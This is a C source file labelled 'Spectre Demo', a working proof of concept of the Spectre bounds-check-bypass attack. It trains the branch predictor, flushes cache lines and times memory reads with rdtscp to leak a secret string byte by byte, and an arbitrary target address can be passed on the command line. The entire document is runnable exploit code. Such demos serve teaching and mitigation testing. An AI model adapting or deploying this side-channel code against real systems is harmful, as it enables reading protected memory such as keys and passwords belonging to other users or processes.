Spectre Demo

spectre.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h>
#pragma optimize("gt",on)
#else
#include <x86intrin.h>
#endif

unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "Your secret data goes here...";
char * secret2= "Congratulation, you just caught Mercurial the Spectre!";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i, junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);

    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush( & array1_size);
      for (volatile int z = 0; z < 100; z++) {}

      x = ((j % 6) - 1) & ~0xFFFF;
      x = (x | (x >> 16));
      x = training_x ^ (x & (malicious_x ^ training_x));

      victim_function(x);

    }

    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);
      junk = * addr;
      time2 = __rdtscp( & junk) - time1;

      if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++;
    }

    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break;
  }
  results[0] ^= junk;
  value[0] = (uint8_t) j;
  score[0] = results[j];
  value[1] = (uint8_t) k;
  score[1] = results[k];
}

int main(int argc,
  const char * * argv) {
  size_t malicious_x = (size_t)(secret - (char * ) array1); 
  int i, score[2], len = 100;
  uint8_t value[2];

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1;
  if (argc == 3) {
    sscanf(argv[1], "%p", (void * * )( & malicious_x));
    malicious_x -= (size_t) array1;
    sscanf(argv[2], "%d", & len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("malicious_x = ");
    readMemoryByte(malicious_x++, value, score);
    // printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
    if (score[1] > 0)
      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
  }
  return (0);
}